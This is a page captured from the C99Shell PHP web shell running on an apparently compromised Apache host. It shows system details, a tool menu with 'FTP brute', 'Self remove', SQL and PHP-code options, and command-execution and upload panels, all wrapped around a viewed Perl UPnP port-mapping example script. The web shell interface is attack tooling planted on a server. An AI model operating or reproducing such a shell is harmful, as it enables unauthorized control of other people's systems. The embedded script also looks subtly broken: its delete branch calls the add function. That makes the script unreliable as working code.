!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/share/doc/perl-Net-UPnP/examples/   drwxr-xr-x
Free 6182.07 GB of 6263.27 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     upnpgwtool.pl (3.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl

use Net::UPnP::ControlPoint;
use Net::UPnP::GW::Gateway;

#------------------------------
# functions
#------------------------------

sub print_usages {
    print "usage : upnpgwtool command [args]\n";
    print " command  One of these\n";
    print "  search\n";
    print "  add <description> <tcp|udp> <external address> <external port> <internal address> <internal port>\n";
    print "  delete <tcp|udp> <external address> <external port>\n";
    print "  list <external address>\n";
}

sub check_command_line()
{
    if (@ARGV < 1) {
        return 0;
    }
    $command = $ARGV[0];
    if ($command eq "search") {
        return 1;
    } 
    elsif ($command eq "list") {
        if (2 <= @ARGV) {
            return 1;
        }
    } 
    elsif ($command eq "add") {
        if (7 <= @ARGV) {
            return 1;
        }
    }
    elsif ($command eq "delete") {
        if (4 <= @ARGV) {
            return 1;
        }
    }
    return 0;
}

#------------------------------
# main (pase command line)
#------------------------------

if (!check_command_line()) {
    print_usages();
    exit 1;
}

$ext_address = "";

if ($command eq "search") {
    $search_mode = 1;
} elsif ($command eq "list") {
    $ext_address = $ARGV[1];
} elsif ($command eq "add") {
    $ext_address = $ARGV[3];
} elsif ($command eq "delete") {
    $ext_address = $ARGV[2];
}

if (!$search_mode && length($ext_address) <= 0)  {
    print_usages();
    exit 1;
}

$obj = Net::UPnP::ControlPoint->new();

@dev_list = ();
while (@dev_list <= 0 || $retry_cnt > 5) {
    @dev_list = $obj->search(st =>'upnp:rootdevice', mx => 3);
    $retry_cnt++;


$gwdev_cnt = 0;
foreach $dev (@dev_list) {
    $device_type = $dev->getdevicetype();
    if  ($device_type ne 'urn:schemas-upnp-org:device:InternetGatewayDevice:1') {
        next;
    }
    unless ($dev->getservicebyname('urn:schemas-upnp-org:service:WANIPConnection:1')) {
        next;
    }
    $gwdev = Net::UPnP::GW::Gateway->new();
    $gwdev->setdevice($dev);
    $gwdev_ext_address = $gwdev->getexternalipaddress();
    if ($search_mode) {
        $gwdev_friendlyname = $dev->getfriendlyname();
        print "[$gwdev_cnt]:$gwdev_friendlyname ($gwdev_ext_address)\n";
        $gwdev_cnt++;
        next;
    }
    if ($ext_address ne $gwdev_ext_address) {
        undef $gwdev;
        next;
    }
    last;
}

if ($command eq "search") {
    exit 0;
}

unless ($gwdev) {
    print "The specified gateway device ($ext_address) is not found !!";
    exit 1;
}

$dev = $gwdev->getdevice();
print $dev->getfriendlyname() . "\n";

if ($command eq "list") {
    print " ExternalIPAddress = " . $gwdev->getexternalipaddress() . "\n";
    print " PortMappingNumberOfEntries = " . $gwdev->getportmappingnumberofentries() . "\n";
    @port_mapping = $gwdev->getportmappingentries();
    $port_num = 0;
    foreach $port_entry (@port_mapping) {
        if ($port_entry) {
            $port_map_name = $port_entry->{'NewPortMappingDescription'};
            if (length($port_map_name) <= 0) {
                $port_map_name = "(No name)";
            }
            print "  [$port_num] : $port_map_name\n";
            foreach $name ( keys %{$port_entry} ) {
                print "    $name = $port_entry->{$name}\n";
            }
        }
        else {
            print "  [$port_num] : Unknown\n";
        }
        $port_num++;
    }
} elsif ($command eq "add") {
    print " $ARGV[1] $ext_address:$ARGV[4] => $ARGV[5]:$ARGV[6] ($ARGV[2])\n";
    $action_ret = $gwdev->addportmapping(
#        NewRemoteHost => $ARGV[3],
        NewExternalPort => $ARGV[4],
        NewProtocol => $ARGV[2],
        NewInternalPort => $ARGV[6],
        NewInternalClient => $ARGV[5],
        NewPortMappingDescription => $ARGV[1]);
    if ($action_ret) {
        print " New port mapping is added\n";
    }
    else {
        print " New port mapping is failed\n";
    }
} elsif ($command eq "delete") {
    print " $ARGV[2]:$ARGV[3] ($ARGV[1])\n";
    $action_ret = $gwdev->addportmapping(
#        NewRemoteHost => $ARGV[2],
        NewExternalPort => $ARGV[3],
        NewProtocol => $ARGV[1]);
    if ($action_ret) {
        print " New port mapping is deleted\n";
    }
    else {
        print " New port mapping is failed\n";
    }
}

exit 0;


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0104 ]--